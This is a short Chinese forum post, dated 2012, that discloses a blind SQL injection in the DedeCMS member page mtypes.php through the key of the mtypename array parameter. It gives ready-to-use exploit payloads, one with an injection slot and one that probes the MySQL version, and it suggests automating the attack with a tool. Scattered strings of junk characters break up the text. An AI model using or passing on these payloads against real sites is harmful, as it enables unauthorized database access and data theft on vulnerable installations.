需要magic_quotes_gpc = Off,所以说是鸡肋啊.5 _6 {/ a! G5 R
) p$ @/ @) v' Y/ V1 Q: }" w9 Q
1 i( D7 r" W) r4 e8 v发生在数组key里的注射漏洞,有点意思.
: y$ J- A, l5 \ ^# z. F U
/ r% |% Y7 R3 B- `# ]这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下. }6 F0 o9 u" V1 M8 G1 q
$ J7 ^4 v l2 M% c" M- r+ X
http://www.xxx.com /dede/member/mtypes.php?dopost=save
7 P+ ]+ Y- d3 g0 F2 p; m " B% \1 Z# j0 |7 l) t6 F+ {$ e
exploit:
& |8 ]7 P& w& g; b7 n' Vmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r. c/ S5 i# M3 _0 j4 T
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
5 ?9 @, q* O1 z7 a& o6 L |
发表于 2012-12-20 08:08:09
收藏
支持
反对